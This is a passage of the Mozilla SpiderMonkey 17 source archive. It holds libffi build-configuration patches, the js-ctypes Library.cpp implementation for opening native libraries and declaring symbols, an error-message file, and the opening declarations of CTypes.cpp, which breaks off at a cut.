{ #endif #include #include /* LONG_LONG_MAX is not always defined (not if STRICT_ANSI, for example). But we can find it either under the correct ANSI name, or under GNU C's internal name. */ + +#define FFI_64_BIT_MAX 9223372036854775807 + #ifdef LONG_LONG_MAX # define FFI_LONG_LONG_MAX LONG_LONG_MAX #else # ifdef LLONG_MAX # define FFI_LONG_LONG_MAX LLONG_MAX # else # ifdef __GNUC__ # define FFI_LONG_LONG_MAX __LONG_LONG_MAX__ # endif +# ifdef _AIX +# ifndef __PPC64__ +# if defined (__IBMC__) || defined (__IBMCPP__) +# define FFI_LONG_LONG_MAX LONGLONG_MAX +# endif +# endif /* __PPC64__ */ +# undef FFI_64_BIT_MAX +# define FFI_64_BIT_MAX 9223372036854775807LL +# endif # endif #endif /* The closure code assumes that this works on pointers, i.e. a size_t */ /* can hold a pointer. */ typedef struct _ffi_type { @@ -127,27 +139,27 @@ typedef struct _ffi_type #elif INT_MAX == 9223372036854775807 # define ffi_type_uint ffi_type_uint64 # define ffi_type_sint ffi_type_sint64 #else #error "int size not supported" #endif #if LONG_MAX == 2147483647 -# if FFI_LONG_LONG_MAX != 9223372036854775807 +# if FFI_LONG_LONG_MAX != FFI_64_BIT_MAX #error "no 64-bit data type supported" # endif -#elif LONG_MAX != 9223372036854775807 +#elif LONG_MAX != FFI_64_BIT_MAX #error "long size not supported" #endif #if LONG_MAX == 2147483647 # define ffi_type_ulong ffi_type_uint32 # define ffi_type_slong ffi_type_sint32 -#elif LONG_MAX == 9223372036854775807 +#elif LONG_MAX == FFI_64_BIT_MAX # define ffi_type_ulong ffi_type_uint64 # define ffi_type_slong ffi_type_sint64 #else #error "long size not supported" #endif /* These are defined in types.c */ extern ffi_type ffi_type_void; @@ -190,17 +202,17 @@ typedef struct { #endif } ffi_cif; /* ---- Definitions for the raw API -------------------------------------- */ #ifndef FFI_SIZEOF_ARG # if LONG_MAX == 2147483647 # define FFI_SIZEOF_ARG 4 -# elif LONG_MAX == 9223372036854775807 +# elif LONG_MAX == FFI_64_BIT_MAX # define FFI_SIZEOF_ARG 8 # endif #endif #ifndef FFI_SIZEOF_JAVA_RAW # define FFI_SIZEOF_JAVA_RAW FFI_SIZEOF_ARG #endif diff --git a/js/src/ctypes/libffi/configure.ac b/js/src/ctypes/libffi/configure.ac --- a/js/src/ctypes/libffi/configure.ac +++ b/js/src/ctypes/libffi/configure.ac @@ -272,20 +272,20 @@ if test x$TARGET = xSPARC; then AC_DEFINE(HAVE_AS_REGISTER_PSEUDO_OP, 1, [Define if your assembler supports .register.]) fi fi if test x$TARGET = xX86 || test x$TARGET = xX86_WIN32 || test x$TARGET = xX86_64; then AC_CACHE_CHECK([assembler supports pc related relocs], libffi_cv_as_x86_pcrel, [ - libffi_cv_as_x86_pcrel=yes + libffi_cv_as_x86_pcrel=no echo '.text; foo: nop; .data; .long foo-.; .text' > conftest.s - if $CC $CFLAGS -c conftest.s 2>&1 | $EGREP -i 'illegal|warning' > /dev/null; then - libffi_cv_as_x86_pcrel=no + if $CC $CFLAGS -c conftest.s > /dev/null; then + libffi_cv_as_x86_pcrel=yes fi ]) if test "x$libffi_cv_as_x86_pcrel" = xyes; then AC_DEFINE(HAVE_AS_X86_PCREL, 1, [Define if your assembler supports PC relative relocs.]) fi AC_CACHE_CHECK([assembler .ascii pseudo-op support], diff --git a/js/src/ctypes/libffi/config.sub b/js/src/ctypes/libffi/config.sub --- a/js/src/ctypes/libffi/config.sub +++ b/js/src/ctypes/libffi/config.sub @@ -1,15 +1,15 @@ #! /bin/sh # Configuration validation subroutine script. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 # Free Software Foundation, Inc. -timestamp='2009-11-07' +timestamp='2011-01-03' # This file is (in principle) common to ALL GNU software. # The presence of a machine in this file suggests that SOME GNU software # can handle that machine. It does not imply ALL GNU software can. # # This file is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or @@ -121,17 +121,17 @@ esac # Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). # Here we must recognize all the valid KERNEL-OS combinations. maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` case $maybe_os in nto-qnx* | linux-gnu* | linux-dietlibc | linux-newlib* | linux-uclibc* | \ uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* | \ kopensolaris*-gnu* | \ - storm-chaos* | os2-emx* | rtmk-nova*) + storm-chaos* | os2-emx* | rtmk-nova* | wince-winmo*) os=-$maybe_os basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` ;; *) basic_machine=`echo $1 | sed 's/-[^-]*$//'` if [ $basic_machine != $1 ] then os=`echo $1 | sed 's/.*-/-/'` else os=; fi @@ -282,32 +282,30 @@ case $basic_machine in | mt \ | msp430 \ | nios | nios2 \ | ns16k | ns32k \ | or32 \ | pdp10 | pdp11 | pj | pjl \ | powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \ | pyramid \ - | rx \ | score \ | sh | sh[1234] | sh[24]a | sh[24]aeb | sh[23]e | sh[34]eb | sheb | shbe | shle | sh[1234]le | sh3ele \ | sh64 | sh64le \ | sparc | sparc64 | sparc64b | sparc64v | sparc86x | sparclet | sparclite \ | sparcv8 | sparcv9 | sparcv9b | sparcv9v \ | spu | strongarm \ | tahoe | thumb | tic4x | tic80 | tron \ - | ubicom32 \ | v850 | v850e \ | we32k \ | x86 | xc16x | xscale | xscalee[bl] | xstormy16 | xtensa \ | z8k | z80) basic_machine=$basic_machine-unknown ;; - m6811 | m68hc11 | m6812 | m68hc12 | picochip) + m6811 | m68hc11 | m6812 | m68hc12) # Motorola 68HC11/12. basic_machine=$basic_machine-unknown os=-none ;; m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k) ;; ms1) basic_machine=mt-unknown @@ -368,26 +366,25 @@ case $basic_machine in | mt-* \ | msp430-* \ | nios-* | nios2-* \ | none-* | np1-* | ns16k-* | ns32k-* \ | orion-* \ | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \ | pyramid-* \ - | romp-* | rs6000-* | rx-* \ + | romp-* | rs6000-* \ | sh-* | sh[1234]-* | sh[24]a-* | sh[24]aeb-* | sh[23]e-* | sh[34]eb-* | sheb-* | shbe-* \ | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ | sparc-* | sparc64-* | sparc64b-* | sparc64v-* | sparc86x-* | sparclet-* \ | sparclite-* \ | sparcv8-* | sparcv9-* | sparcv9b-* | sparcv9v-* | strongarm-* | sv1-* | sx?-* \ | tahoe-* | thumb-* \ | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* | tile-* \ | tron-* \ - | ubicom32-* \ | v850-* | v850e-* | vax-* \ | we32k-* \ | x86-* | x86_64-* | xc16x-* | xps100-* | xscale-* | xscalee[bl]-* \ | xstormy16-* | xtensa*-* \ | ymp-* \ | z8k-* | z80-*) ;; # Recognize the basic CPU types without company name, with glob match. @@ -1294,17 +1291,17 @@ case $os in | -mingw32* | -linux-gnu* | -linux-newlib* | -linux-uclibc* \ | -uxpv* | -beos* | -mpeix* | -udk* \ | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \ | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \ | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \ | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \ | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \ | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly* \ - | -skyos* | -haiku* | -rdos* | -toppers* | -drops* | -es*) + | -skyos* | -haiku* | -rdos* | -toppers* | -drops* | -winmo*) # Remember, each alternative MUST END IN *, to match a version number. ;; -qnx*) case $basic_machine in x86-* | i*86-*) ;; *) os=-nto$os @@ -1336,16 +1333,19 @@ case $os in os=`echo $os | sed -e 's|sunos6|solaris3|'` ;; -opened*) os=-openedition ;; -os400*) os=-os400 ;; + -wince-winmo*) + os=-wince-winmo + ;; -wince*) os=-wince ;; -osfrose*) os=-osfrose ;; -osf*) os=-osf @@ -1427,16 +1427,19 @@ case $os in os=-kaos ;; -zvmoe) os=-zvmoe ;; -dicos*) os=-dicos ;; + -android*) + os=-android + ;; -none) ;; *) # Get rid of the `-' at the beginning of $os. os=`echo $os | sed 's/[^-]*-//'` echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 exit 1 ;; @@ -1681,16 +1684,19 @@ case $basic_machine in vendor=apple ;; -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) vendor=atari ;; -vos*) vendor=stratus ;; + *-android*|*-linuxandroid*) + vendor=linux- + ;; esac basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` ;; esac echo $basic_machine$os exit mozjs17.0.0/js/src/ctypes/patches-libffi/04-bug-756740.patch0000664000175000017500000000206612106270662022767 0ustar sstanglsstangldiff --git a/js/src/ctypes/libffi/configure b/js/src/ctypes/libffi/configure --- a/js/src/ctypes/libffi/configure +++ b/js/src/ctypes/libffi/configure @@ -11251,17 +11251,17 @@ case "$host" in m68k-*-*) TARGET=M68K; TARGETDIR=m68k ;; mips-sgi-irix5.* | mips-sgi-irix6.*) TARGET=MIPS; TARGETDIR=mips ;; - mips*-*-linux*) + mips*-*linux*) # Support 128-bit long double for NewABI. HAVE_LONG_DOUBLE='defined(__mips64)' TARGET=MIPS; TARGETDIR=mips ;; moxie-*-*) TARGET=MOXIE; TARGETDIR=moxie ;; diff --git a/js/src/ctypes/libffi/configure.ac b/js/src/ctypes/libffi/configure.ac --- a/js/src/ctypes/libffi/configure.ac +++ b/js/src/ctypes/libffi/configure.ac @@ -113,17 +113,17 @@ case "$host" in m68k-*-*) TARGET=M68K; TARGETDIR=m68k ;; mips-sgi-irix5.* | mips-sgi-irix6.*) TARGET=MIPS; TARGETDIR=mips ;; - mips*-*-linux*) + mips*-*linux*) # Support 128-bit long double for NewABI. HAVE_LONG_DOUBLE='defined(__mips64)' TARGET=MIPS; TARGETDIR=mips ;; moxie-*-*) TARGET=MOXIE; TARGETDIR=moxie ;; mozjs17.0.0/js/src/ctypes/Library.cpp0000664000175000017500000002316512106270662017431 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2; -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "jscntxt.h" #include "jsstr.h" #include "Library.h" #include "CTypes.h" #include "prlink.h" namespace js { namespace ctypes { /******************************************************************************* ** JSAPI function prototypes *******************************************************************************/ namespace Library { static void Finalize(JSFreeOp *fop, JSObject* obj); static JSBool Close(JSContext* cx, unsigned argc, jsval* vp); static JSBool Declare(JSContext* cx, unsigned argc, jsval* vp); } /******************************************************************************* ** JSObject implementation *******************************************************************************/ static JSClass sLibraryClass = { "Library", JSCLASS_HAS_RESERVED_SLOTS(LIBRARY_SLOTS), JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub,JS_ResolveStub, JS_ConvertStub, Library::Finalize }; #define CTYPESFN_FLAGS \ (JSPROP_ENUMERATE | JSPROP_READONLY | JSPROP_PERMANENT) static JSFunctionSpec sLibraryFunctions[] = { JS_FN("close", Library::Close, 0, CTYPESFN_FLAGS), JS_FN("declare", Library::Declare, 0, CTYPESFN_FLAGS), JS_FS_END }; JSBool Library::Name(JSContext* cx, unsigned argc, jsval *vp) { if (argc != 1) { JS_ReportError(cx, "libraryName takes one argument"); return JS_FALSE; } jsval arg = JS_ARGV(cx, vp)[0]; JSString* str = NULL; if (JSVAL_IS_STRING(arg)) { str = JSVAL_TO_STRING(arg); } else { JS_ReportError(cx, "name argument must be a string"); return JS_FALSE; } AutoString resultString; AppendString(resultString, DLL_PREFIX); AppendString(resultString, str); AppendString(resultString, DLL_SUFFIX); JSString *result = JS_NewUCStringCopyN(cx, resultString.begin(), resultString.length()); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, STRING_TO_JSVAL(result)); return JS_TRUE; } JSObject* Library::Create(JSContext* cx, jsval path, JSCTypesCallbacks* callbacks) { RootedObject libraryObj(cx, JS_NewObject(cx, &sLibraryClass, NULL, NULL)); if (!libraryObj) return NULL; // initialize the library JS_SetReservedSlot(libraryObj, SLOT_LIBRARY, PRIVATE_TO_JSVAL(NULL)); // attach API functions if (!JS_DefineFunctions(cx, libraryObj, sLibraryFunctions)) return NULL; if (!JSVAL_IS_STRING(path)) { JS_ReportError(cx, "open takes a string argument"); return NULL; } PRLibSpec libSpec; JSFlatString* pathStr = JS_FlattenString(cx, JSVAL_TO_STRING(path)); if (!pathStr) return NULL; #ifdef XP_WIN // On Windows, converting to native charset may corrupt path string. // So, we have to use Unicode path directly. const PRUnichar* pathChars = JS_GetFlatStringChars(pathStr); if (!pathChars) return NULL; libSpec.value.pathname_u = pathChars; libSpec.type = PR_LibSpec_PathnameU; #else // Convert to platform native charset if the appropriate callback has been // provided. char* pathBytes; if (callbacks && callbacks->unicodeToNative) { pathBytes = callbacks->unicodeToNative(cx, pathStr->chars(), pathStr->length()); if (!pathBytes) return NULL; } else { // Fallback: assume the platform native charset is UTF-8. This is true // for Mac OS X, Android, and probably Linux. size_t nbytes = GetDeflatedUTF8StringLength(cx, pathStr->chars(), pathStr->length()); if (nbytes == (size_t) -1) return NULL; pathBytes = static_cast(JS_malloc(cx, nbytes + 1)); if (!pathBytes) return NULL; ASSERT_OK(DeflateStringToUTF8Buffer(cx, pathStr->chars(), pathStr->length(), pathBytes, &nbytes)); pathBytes[nbytes] = 0; } libSpec.value.pathname = pathBytes; libSpec.type = PR_LibSpec_Pathname; #endif PRLibrary* library = PR_LoadLibraryWithFlags(libSpec, 0); if (!library) { #ifdef XP_WIN JS_ReportError(cx, "couldn't open library %hs", pathChars); #else JS_ReportError(cx, "couldn't open library %s", pathBytes); JS_free(cx, pathBytes); #endif return NULL; } #ifndef XP_WIN JS_free(cx, pathBytes); #endif // stash the library JS_SetReservedSlot(libraryObj, SLOT_LIBRARY, PRIVATE_TO_JSVAL(library)); return libraryObj; } bool Library::IsLibrary(JSObject* obj) { return JS_GetClass(obj) == &sLibraryClass; } PRLibrary* Library::GetLibrary(JSObject* obj) { JS_ASSERT(IsLibrary(obj)); jsval slot = JS_GetReservedSlot(obj, SLOT_LIBRARY); return static_cast(JSVAL_TO_PRIVATE(slot)); } static void UnloadLibrary(JSObject* obj) { PRLibrary* library = Library::GetLibrary(obj); if (library) PR_UnloadLibrary(library); } void Library::Finalize(JSFreeOp *fop, JSObject* obj) { UnloadLibrary(obj); } JSBool Library::Open(JSContext* cx, unsigned argc, jsval *vp) { JSObject* ctypesObj = JS_THIS_OBJECT(cx, vp); if (!ctypesObj) return JS_FALSE; if (!IsCTypesGlobal(ctypesObj)) { JS_ReportError(cx, "not a ctypes object"); return JS_FALSE; } if (argc != 1 || JSVAL_IS_VOID(JS_ARGV(cx, vp)[0])) { JS_ReportError(cx, "open requires a single argument"); return JS_FALSE; } JSObject* library = Create(cx, JS_ARGV(cx, vp)[0], GetCallbacks(ctypesObj)); if (!library) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(library)); return JS_TRUE; } JSBool Library::Close(JSContext* cx, unsigned argc, jsval* vp) { JSObject* obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!IsLibrary(obj)) { JS_ReportError(cx, "not a library"); return JS_FALSE; } if (argc != 0) { JS_ReportError(cx, "close doesn't take any arguments"); return JS_FALSE; } // delete our internal objects UnloadLibrary(obj); JS_SetReservedSlot(obj, SLOT_LIBRARY, PRIVATE_TO_JSVAL(NULL)); JS_SET_RVAL(cx, vp, JSVAL_VOID); return JS_TRUE; } JSBool Library::Declare(JSContext* cx, unsigned argc, jsval* vp) { RootedObject obj(cx, JS_THIS_OBJECT(cx, vp)); if (!obj) return JS_FALSE; if (!IsLibrary(obj)) { JS_ReportError(cx, "not a library"); return JS_FALSE; } PRLibrary* library = GetLibrary(obj); if (!library) { JS_ReportError(cx, "library not open"); return JS_FALSE; } // We allow two API variants: // 1) library.declare(name, abi, returnType, argType1, ...) // declares a function with the given properties, and resolves the symbol // address in the library. // 2) library.declare(name, type) // declares a symbol of 'type', and resolves it. The object that comes // back will be of type 'type', and will point into the symbol data. // This data will be both readable and writable via the usual CData // accessors. If 'type' is a PointerType to a FunctionType, the result will // be a function pointer, as with 1). if (argc < 2) { JS_ReportError(cx, "declare requires at least two arguments"); return JS_FALSE; } jsval* argv = JS_ARGV(cx, vp); if (!JSVAL_IS_STRING(argv[0])) { JS_ReportError(cx, "first argument must be a string"); return JS_FALSE; } RootedObject fnObj(cx, NULL); RootedObject typeObj(cx); bool isFunction = argc > 2; if (isFunction) { // Case 1). // Create a FunctionType representing the function. fnObj = FunctionType::CreateInternal(cx, argv[1], argv[2], &argv[3], argc - 3); if (!fnObj) return JS_FALSE; // Make a function pointer type. typeObj = PointerType::CreateInternal(cx, fnObj); if (!typeObj) return JS_FALSE; } else { // Case 2). if (JSVAL_IS_PRIMITIVE(argv[1]) || !CType::IsCType(JSVAL_TO_OBJECT(argv[1])) || !CType::IsSizeDefined(JSVAL_TO_OBJECT(argv[1]))) { JS_ReportError(cx, "second argument must be a type of defined size"); return JS_FALSE; } typeObj = JSVAL_TO_OBJECT(argv[1]); if (CType::GetTypeCode(typeObj) == TYPE_pointer) { fnObj = PointerType::GetBaseType(typeObj); isFunction = fnObj && CType::GetTypeCode(fnObj) == TYPE_function; } } void* data; PRFuncPtr fnptr; JSString* nameStr = JSVAL_TO_STRING(argv[0]); AutoCString symbol; if (isFunction) { // Build the symbol, with mangling if necessary. FunctionType::BuildSymbolName(nameStr, fnObj, symbol); AppendString(symbol, "\0"); // Look up the function symbol. fnptr = PR_FindFunctionSymbol(library, symbol.begin()); if (!fnptr) { JS_ReportError(cx, "couldn't find function symbol in library"); return JS_FALSE; } data = &fnptr; } else { // 'typeObj' is another data type. Look up the data symbol. AppendString(symbol, nameStr); AppendString(symbol, "\0"); data = PR_FindSymbol(library, symbol.begin()); if (!data) { JS_ReportError(cx, "couldn't find symbol in library"); return JS_FALSE; } } RootedObject result(cx, CData::Create(cx, typeObj, obj, data, isFunction)); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); // Seal the CData object, to prevent modification of the function pointer. // This permanently associates this object with the library, and avoids // having to do things like reset SLOT_REFERENT when someone tries to // change the pointer value. // XXX This will need to change when bug 541212 is fixed -- CData::ValueSetter // could be called on a sealed object. if (isFunction && !JS_FreezeObject(cx, result)) return JS_FALSE; return JS_TRUE; } } } mozjs17.0.0/js/src/ctypes/ctypes.msg0000664000175000017500000000101712106270662017330 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2; -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * This is the jsctypes error message file. * * For syntax details, see js/src/js.msg. */ MSG_DEF(CTYPESMSG_PLACEHOLDER_0, 0, 0, JSEXN_NONE, NULL) MSG_DEF(CTYPESMSG_TYPE_ERROR, 1, 2, JSEXN_TYPEERR, "expected type {0}, got {1}") mozjs17.0.0/js/src/ctypes/CTypes.cpp0000664000175000017500000071747112106270662017246 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2; -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "mozilla/FloatingPoint.h" #include "CTypes.h" #include "Library.h" #include "jsnum.h" #include "jscompartment.h" #include "jsobjinlines.h" #include #include #if defined(XP_WIN) || defined(XP_OS2) #include #endif #if defined(SOLARIS) #include #endif #ifdef HAVE_SSIZE_T #include #endif #if defined(XP_UNIX) #include #elif defined(XP_WIN) #include #endif #include "mozilla/StandardInteger.h" #include "mozilla/Scoped.h" using namespace std; namespace js { namespace ctypes { /******************************************************************************* ** JSAPI function prototypes *******************************************************************************/ static JSBool ConstructAbstract(JSContext* cx, unsigned argc, jsval* vp); namespace CType { static JSBool ConstructData(JSContext* cx, unsigned argc, jsval* vp); static JSBool ConstructBasic(JSContext* cx, JSHandleObject obj, unsigned argc, jsval* vp); static void Trace(JSTracer* trc, JSObject* obj); static void Finalize(JSFreeOp *fop, JSObject* obj); static void FinalizeProtoClass(JSFreeOp *fop, JSObject* obj); static JSBool PrototypeGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool NameGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool SizeGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool PtrGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool CreateArray(JSContext* cx, unsigned argc, jsval* vp); static JSBool ToString(JSContext* cx, unsigned argc, jsval* vp); static JSBool ToSource(JSContext* cx, unsigned argc, jsval* vp); static JSBool HasInstance(JSContext* cx, JSHandleObject obj, const jsval* v, JSBool* bp); /* * Get the global "ctypes" object. * * |obj| must be a CType object. * * This function never returns NULL. */ static JSObject* GetGlobalCTypes(JSContext* cx, JSObject* obj); } namespace ABI { bool IsABI(JSObject* obj); static JSBool ToSource(JSContext* cx, unsigned argc, jsval* vp); } namespace PointerType { static JSBool Create(JSContext* cx, unsigned argc, jsval* vp); static JSBool ConstructData(JSContext* cx, JSHandleObject obj, unsigned argc, jsval* vp); static JSBool TargetTypeGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool ContentsGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool ContentsSetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, JSBool strict, MutableHandleValue vp); static JSBool IsNull(JSContext* cx, unsigned argc, jsval* vp); static JSBool Increment(JSContext* cx, unsigned argc, jsval* vp); static JSBool Decrement(JSContext* cx, unsigned argc, jsval* vp); // The following is not an instance function, since we don't want to expose arbitrary // pointer arithmetic at this moment. static JSBool OffsetBy(JSContext* cx, int offset, jsval* vp); } namespace ArrayType { static JSBool Create(JSContext* cx, unsigned argc, jsval* vp); static JSBool ConstructData(JSContext* cx, JSHandleObject obj, unsigned argc, jsval* vp); static JSBool ElementTypeGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool LengthGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool Getter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool Setter(JSContext* cx, JSHandleObject obj, JSHandleId idval, JSBool strict, MutableHandleValue vp); static JSBool AddressOfElement(JSContext* cx, unsigned argc, jsval* vp); } namespace StructType { static JSBool Create(JSContext* cx, unsigned argc, jsval* vp); static JSBool ConstructData(JSContext* cx, JSHandleObject obj, unsigned argc, jsval* vp); static JSBool FieldsArrayGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool FieldGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool FieldSetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, JSBool strict, MutableHandleValue vp); static JSBool AddressOfField(JSContext* cx, unsigned argc, jsval* vp); static JSBool Define(JSContext* cx, unsigned argc, jsval* vp); } namespace FunctionType { static JSBool Create(JSContext* cx, unsigned argc, jsval* vp); static JSBool ConstructData(JSContext* cx, JSHandleObject typeObj, JSHandleObject dataObj, JSHandleObject fnObj, JSHandleObject thisObj, jsval errVal); static JSBool Call(JSContext* cx, unsigned argc, jsval* vp); static JSBool ArgTypesGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool ReturnTypeGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool ABIGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool IsVariadicGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); } namespace CClosure { static void Trace(JSTracer* trc, JSObject* obj); static void Finalize(JSFreeOp *fop, JSObject* obj); // libffi callback static void ClosureStub(ffi_cif* cif, void* result, void** args, void* userData); } namespace CData { static void Finalize(JSFreeOp *fop, JSObject* obj); static JSBool ValueGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); static JSBool ValueSetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, JSBool strict, MutableHandleValue vp); static JSBool Address(JSContext* cx, unsigned argc, jsval* vp); static JSBool ReadString(JSContext* cx, unsigned argc, jsval* vp); static JSBool ToSource(JSContext* cx, unsigned argc, jsval* vp); static JSString *GetSourceString(JSContext *cx, JSHandleObject typeObj, void *data); static JSBool ErrnoGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); #if defined(XP_WIN) static JSBool LastErrorGetter(JSContext* cx, JSHandleObject obj, JSHandleId idval, MutableHandleValue vp); #endif // defined(XP_WIN) } namespace CDataFinalizer { /* * Attach a C function as a finalizer to a JS object. * * This function is available from JS as |ctypes.withFinalizer|. * * JavaScript signature: * function(CData, CData): CDataFinalizer * value finalizer finalizable * * Where |finalizer| is a one-argument function taking a value * with the same type as |value|. */ static JSBool Construct(JSContext* cx, unsigned argc, jsval *vp); /* * Private data held by |CDataFinalizer|. * * See also |enum CDataFinalizerSlot| for the slots of * |CDataFinalizer|. * * Note: the private data may be NULL, if |dispose|, |forget| or the * finalizer has already been called. */ struct Private { /* * The C data to pass to the code. * Finalization/|dispose|/|forget| release this memory. */ void *cargs; /* * The total size of the buffer pointed by |cargs| */ size_t cargs_size; /* * Low-level signature information. * Finalization/|dispose|/|forget| release this memory. */ ffi_cif CIF; /* * The C function to invoke during finalization. * Do not deallocate this. */ uintptr_t code; /* * A buffer for holding the return value. * Finalization/|dispose|/|forget| release this memory. */ void *rvalue; }; /* * Methods of instances of |CDataFinalizer| */ namespace Methods { static JSBool Dispose(JSContext* cx, unsigned argc, jsval *vp); static JSBool Forget(JSContext* cx, unsigned argc, jsval *vp); static JSBool ToSource(JSContext* cx, unsigned argc, jsval *vp); static JSBool ToString(JSContext* cx, unsigned argc, jsval *vp); } /* * Utility functions * * @return true if |obj| is a CDataFinalizer, false otherwise. */ static bool IsCDataFinalizer(JSObject *obj); /* * Clean up the finalization information of a CDataFinalizer. * * Used by |Finalize|, |Dispose| and |Forget|. * * @param p The private information of the CDataFinalizer. If NULL, * this function does nothing. * @param obj Either NULL, if the object should not be cleaned up (i.e. * during finalization) or a CDataFinalizer JSObject. Always use NULL * if you are calling from a finalizer. */ static void Cleanup(Private *p, JSObject *obj); /* * Perform the actual call to the finalizer code. */ static void CallFinalizer(CDataFinalizer::Private *p, int* errnoStatus, int32_t* lastErrorStatus); /* * Return the CType of a CDataFinalizer object, or NULL if the object * has been cleaned-up already. */ static JSObject *GetCType(JSContext *cx, JSObject *obj); /* * Perform finalization of a |CDataFinalizer| */ static void Finalize(JSFreeOp *fop, JSObject *obj); /* * Return the jsval contained by this finalizer. * * Note that the jsval is actually not recorded, but converted back from C. */ static bool GetValue(JSContext *cx, JSObject *obj, jsval *result); static JSObject* GetCData(JSContext *cx, JSObject *obj); } // Int64Base provides functions common to Int64 and UInt64. namespace Int64Base { JSObject* Construct(JSContext* cx, HandleObject proto, uint64_t data, bool isUnsigned); uint64_t GetInt(JSObject* obj); JSBool ToString(JSContext* cx, JSObject* obj, unsigned argc, jsval* vp, bool isUnsigned); JSBool ToSource(JSContext* cx, JSObject* obj, unsigned argc, jsval* vp, bool isUnsigned); static void Finalize(JSFreeOp *fop, JSObject* obj); } namespace Int64 { static JSBool Construct(JSContext* cx, unsigned argc, jsval* vp); static JSBool ToString(JSContext* cx, unsigned argc, jsval* vp); static JSBool ToSource(JSContext* cx, unsigned argc, jsval* vp); static JSBool Compare(JSContext* cx, unsigned argc, jsval* vp); static JSBool Lo(JSContext* cx, unsigned argc, jsval* vp); static JSBool Hi(JSContext* cx, unsigned argc, jsval* vp); static JSBool Join(JSContext* cx, unsigned argc, jsval* vp); } namespace UInt64 { static JSBool Construct(JSContext* cx, unsigned argc, jsval* vp); static JSBool ToString(JSContext* cx, unsigned argc, jsval* vp); static JSBool ToSource(JSContext* cx, unsigned argc, jsval* vp); static JSBool Compare(JSContext* cx, unsigned argc, jsval* vp); static JSBool Lo(JSContext* cx, unsigned argc, jsval* vp); static JSBool Hi(JSContext* cx, unsigned argc, jsval* vp); static JSBool Join(JSContext* cx, unsigned argc, jsval* vp); } /******************************************************************************* ** JSClass definitions and initialization functions *******************************************************************************/ // Class representing the 'ctypes' object itself. This exists to contain the // JSCTypesCallbacks set of function pointers. static JSClass sCTypesGlobalClass = { "ctypes", JSCLASS_HAS_RESERVED_SLOTS(CTYPESGLOBAL_SLOTS), JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; static JSClass sCABIClass = { "CABI", 